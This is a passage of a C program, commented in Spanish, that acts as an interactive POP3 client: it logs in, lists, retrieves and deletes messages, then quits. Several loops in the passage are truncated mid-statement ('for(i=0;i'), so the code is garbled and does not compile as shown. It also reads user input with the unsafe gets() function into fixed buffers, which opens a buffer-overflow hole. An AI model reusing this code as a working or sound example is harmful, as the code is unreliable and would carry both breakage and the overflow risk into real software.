/*Concatenamos "PASS datos" con un retorno de carro(\n) para que el servidor nos reconozca los comandos*/
strcat(aux,CRLF);

/*Enviamos los datos "PASS datos\n" al servidor*/
if(send(s,aux,strlen(aux),0)<0)

{
printf("ERROR AL ENVIAR \n");
}

else
{
printf("Servidor (PASSWORD):\n");
read(s,datos,sizeof(datos)); /*Leemos los datos del servidor*/
longitud=sizeof(datos);
for(i=0;i
bzero(error,sizeof(error)); /*Reseteamos la cadena error*/

/*El carácter error es igual al primer carácter de la cadena datos*/
error[0]=datos[0];

/*Si la primera letra de la respuesta del servidor es '-' vuelve a preguntar login, ya que el servidor nos habra devuelto un -ERR*/
if(strcmp(error,MENOS)==0){strcpy(error,MAL);}
for(i=0;i<=250;i++){datos[i]=0;} /*Vaciamos la cadena datos*/
/*Vaciamos la cadena respuesta*/
bzero(respuesta,sizeof(respuesta));
printf("\n");
}

/*Si ha habido un -ERR, vuelve a repetir el bucle desde Login*/
}while(strcmp(error,MAL)==0);

/*Enviamos un listado (STAT) al servidor para que nos diga los mensajes que tenemos*/
if(send(s,LISTADO,5,0)<0)

{
printf("ERROR AL ENVIAR \n");
}

else /*Si no ha habido error al enviar los datos...*/
{
printf("Servidor (STAT): ");
/*Leemos la respuesta del servidor*/
read(s,datos,sizeof(datos));
/*Calculamos la longitud de la cadena datos*/
longitud=strlen(datos);
for(i=0;i
for(i=0;i<=250;i++){datos[i]=0;}
printf("\n");
}

do{ /*Repetimos el bucle mientras queramos leer más mensajes*/

printf("Introduzca el numero de mensaje a leer: ('INTRO' para
no leer ninguno)\n");

gets(respuesta); /*Obtenemos el número del mensaje a leer*/
bzero(aux,sizeof(aux)); /*Reseteamos la cadena aux*/
strcat(aux,LEER); /*Metemos leer (RETR) en la cadena aux*/
strcat(aux,respuesta); /*Concatenamos la respuesta obtenida
al aux "RETR respuesta"*/
/*Ponemos un retorno de carro (\n) al final de aux*/
strcat(aux,CRLF);
/*Reseteamos la cadena respuesta*/
bzero(respuesta,sizeof(respuesta));
/*Enviamos "RETR respuesta\n" al servidor*/
if(send(s,aux,strlen(aux),0)<0)
{
printf("ERROR AL ENVIAR \n");
}

else /*Sino ha habido error al enviar...*/
{
printf("Servidor (RETR:):\n ");
/*Leemos la respuesta del servidor*/
read(s,msge,sizeof(msge));
longitud=strlen(msge);
/*y la imprimimos*/
for(i=0;i
for(i=0;i<=250;i++){msge[i]=0;}
printf("\n");
}

printf("¨Quiere leer mas mensajes? (s/n) ");
gets(repeticion); /*Leemos la respuesta*/

/*Si la respuesta es "s" repetimos el bucle*/
}while(strcmp(SI,repeticion)==0);

do{ /*Repetimos el bucle mientras queramos borrar más mensajes*/
printf("Introduzca el n£mero de mensaje a borrar: ('INTRO' para no borrar ninguno)\n");
gets(respuesta); /*Lo siguiente es análogo al bucle anterior*/
bzero(aux,sizeof(aux));
strcat(aux,BORRAR);
strcat(aux,respuesta);
strcat(aux,CRLF);
bzero(respuesta,sizeof(respuesta));

/*Aquí enviamos "DELE respuesta\n"*/
if(send(s,aux,strlen(aux),0)<0)
{
printf("ERROR AL ENVIAR \n");
}

else

{
printf("Servidor (DELE):\n ");
/*Leemos respuesta del servidor*/
read(s,datos,sizeof(datos));
longitud=sizeof(datos);
for(i=0;i
for(i=0;i<=250;i++){datos[i]=0;}
printf("\n");
}

printf("Quiere borrar más mensajes? (s/n) ");
gets(repeticion);

/*Si la respuesta es "s" repetimos el bucle*/
}while(strcmp(SI,repeticion)==0);

/*Enviamos la desconexión (QUIT) al servidor*/
if(send(s,FIN,5,0)<0)
{
printf("ERROR AL ENVIAR \n");
}
else
{
printf("Servidor (CIERRA CONEXION): ");
/*Leemos la respuesta del servidor*/
read(s,datos,sizeof(datos));
longitud=sizeof(datos);
for(i=0;i
for(i=0;i<=250;i++){datos[i]=0;}
printf("\n");
}
} /*Fin del programa*/


************************************************